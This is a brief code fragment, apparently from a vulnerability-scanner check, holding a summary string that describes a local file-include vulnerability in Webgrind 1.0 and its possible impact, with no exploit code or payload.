tag_summary = "Webgrind is prone to a local file-include vulnerability because it
fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute
local scripts in the context of the webserver process. This may aid in
further attacks.

Webgrind 1.0 (v1.02 in trunk on github) are vulnerable; other versions may also be affected.";
